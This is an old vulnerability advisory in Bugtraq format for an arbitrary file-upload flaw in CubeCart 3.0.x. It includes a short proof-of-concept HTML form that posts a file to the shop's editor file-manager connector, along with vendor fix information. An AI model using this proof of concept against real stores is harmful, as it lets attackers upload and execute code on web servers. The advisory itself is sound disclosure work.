CubeCart Arbitrary File Upload Vulnerability

Bugtraq ID:	16796
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 23 2006 12:00AM
Updated:	Feb 24 2006 07:02PM
Credit:	NSA Group is credited with the discovery of this vulnerability.
Vulnerable:	CubeCart CubeCart 3.0.7 -pl1 CubeCart CubeCart 3.0.6 CubeCart CubeCart 3.0.4 CubeCart CubeCart 3.0.3
Not Vulnerable:	CubeCart CubeCart 3.0.7

CubeCart Arbitrary File Upload Vulnerability

CubeCart is prone to an arbitrary file-upload vulnerability.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

CubeCart Arbitrary File Upload Vulnerability

This issue can be exploited with a web client.

The following proof of concept is available:
<form action="http://www.example.com/cubedir/admin/includes/rte/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFol
der=/"
method="POST" enctype="multipart/form-data">
File Upload<br>
<input id="txtFileUpload" type="file" name="NewFile">
<br>
<input type="submit" value="Upload">
</form>

CubeCart Arbitrary File Upload Vulnerability

Solution:
The vendor has released an updated version to address this issue.

CubeCart Arbitrary File Upload Vulnerability

References:

• CubeCart Homepage (Kayako)
  
• NSAG-?197-23.02.2006 CubeCart v 3.0.0 - 3.0.6 (NSA Group)
  
• =windows-1251?QNSA_Group_Security_Advisory_NSAG-=B9197-23.02.2006_Vulnerability_ (NSA Group )